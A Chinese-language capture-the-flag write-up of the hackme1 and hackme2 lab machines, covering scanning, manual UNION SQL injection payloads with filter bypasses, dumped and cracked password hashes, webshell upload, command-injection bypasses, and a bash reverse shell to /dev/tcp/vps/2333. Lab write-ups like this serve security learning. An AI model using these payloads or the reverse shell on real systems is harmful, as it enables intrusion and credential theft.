扫描主机
先利用arp-scan扫描一下同一局域网下的主机
简略扫描(扫端口)
masscan扫一下端口
masscan -p 0-65535 --rate=100000 192.168.150.146
发现有一个80端口和22端口
详细扫描
nmap详细扫描一下
nmap -sV -p 80,22 -O -T4 192.168.150.146
目录扫描
dirb http://192.168.150.146 /usr/share/wordlists/dirb/big.txt
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.150.146 -t 30
网站指纹识别
whatweb http://192.168.150.146
进入目标ip,发现一进入是一个登录页面
直接测试万能密码登录,发现不存在admin用户,尝试随便注册一个admin账户,感觉这里没啥漏洞点
admin/123456
这里感觉有点像SQL注入,毕竟要查询一个书籍,相当于需要从数据库中进行查询,先手测一下,再sqlmap梭
确实是存在SQL注入的
而且还是字符型SQL注入,一眼POST传参,sqlmap试一下,抓包看一下传参
测试了一下,好像不可以,手动打吧
爆一下数据库
-1' union select database(),2,3#
之后爆这个库的表名
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#
爆字段名
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='webapphacking' and table_name='users'#
爆内容
-1' union select group_concat(user,0x5c,pasword),2,3 from webapphacking.users#
得到
user1\5d41402abc4b2a76b9719d911017c592
user2\6269c4f71a55b24bad0f0267d9be5508
user3\0f359740bd1cda994f8b55330c86d845
test\05a671c66aefea124cc08b76ea6d30bb
superadmin\2386acb2cf356944177746fc92523983
test1\05a671c66aefea124cc08b76ea6d30bb
admin\e10adc3949ba59abbe56e057f20f883e
得到username和passwd,passwd进行MD5解密一下
user1\hello
user2\commando
user3\p@ssw0rd
test\testtest
superadmin\Uncrackable
test1\testtest
admin\123456
现在我们知道了真正的admin账户的username和passwd,现在切换一下账户
看起来是要打文件上传的,尝试一下
直接传一个最简单的图片马即可绕过
蚁剑连一下,权限太低了,提权一下
一开始尝试suid提权,发现没有可以进行提权的命令
尝试自身getshell,发现一点权限没有
利用bash反弹shell也无果
我直接POST传参一个pythonshell也不可以,打完看网上其他WP貌似是可以的,奇怪了
这里我是用wget进行getshell的,就是先将pythonshell上传到靶机根目录,之后攻击机开启http服务,之后靶机python运行一下刚刚wget的脚本即可getshell
先查看一下有哪些存在的用户
cat /etc/passwd | grep /bin/bash
之后翻一下目录,发现在home目录下有一个legacy的子目录,里面有一个touchmenot,file一下发现是一个二进制文件,执行一下得到最高权限
扫描主机
arp-scan扫一下同一局域网下的主机
简约扫一下端口
masscan扫描
masscan -p 0-65535 --rate=100000 192.168.150.146
详细扫描
nmap扫描
nmap -sV -p 80,22 -O -T4 192.168.150.146
目录扫描
dirb http://192.168.150.146 /usr/share/wordlists/dirb/big.txt
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.150.146 -t 30
进入靶机发现和hackme1一样,一个登录框
随便注册一下
123/123456
之后进入,尝试一下SQL注入,发现这次查询的语句和hackme1不一样了
应该是利用了通配符%
SQL语句是
$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"
尝试一下有没有SQL注入
之后开始注入
尝试正常的union联合注入
OSI%' union select database(),2,3 like '1
发现没有回显,先尝试是不是空格被过滤了,之后考虑关键词绕过
OSI%'/**/union/**/select/**/database(),2,3/**/like/**/'1
再看表名
OSI%'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp
再看字段名
OSI%'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_schema='webapphacking'/**/and/**/table_name/**/like/**/'use
在看内容
OSI%'/**/union/**/select/**/group_concat(user,0x5c,pasword),2,3/**/from/**/users/**/where/**/'1'/**/like/**/'1
得到user/passwd
user1\5d41402abc4b2a76b9719d911017c592,
user2\6269c4f71a55b24bad0f0267d9be5508,
user3\0f359740bd1cda994f8b55330c86d845,
test\05a671c66aefea124cc08b76ea6d30bb,
superadmin\2386acb2cf356944177746fc92523983,
test1\05a671c66aefea124cc08b76ea6d30bb,
123\e10adc3949ba59abbe56e057f20f883e
进行MD5解密一下
superadmin/Uncrackable
重新登录一下
成功进入后台
这里和1是有区别的,文件上传之后uploads目录没东西,所以去打别的洞
发现还有2个输入框,看一下是否能打SSTI
好像是不可以的,也可以尝试一下,毕竟都没用python框架
之后试一下直接打RCE
发现可以直接解析,那就知道要打RCE了
尝试看一下根目录
空格被过滤了,绕过一下
system('ls$IFS$9/');
尝试利用RCE写一个shell
这里经过测试正常的打webshell好像不太行,fuzz一下,看看过滤了哪些东西
貌似
#''- &\*()|
都被过滤了,尝试直接hex2bin/base64_decode编码绕一下,弹个shell先
bash -c "bash -i >& /dev/tcp/vps/2333 0>&1"
system(hex2bin(16进制))
之后和hackme1一样找到home/legacy下的touchmenot即可
至此,hackme系列靶机全部结束,接下来我会继续其他系列靶机的WriteUp更新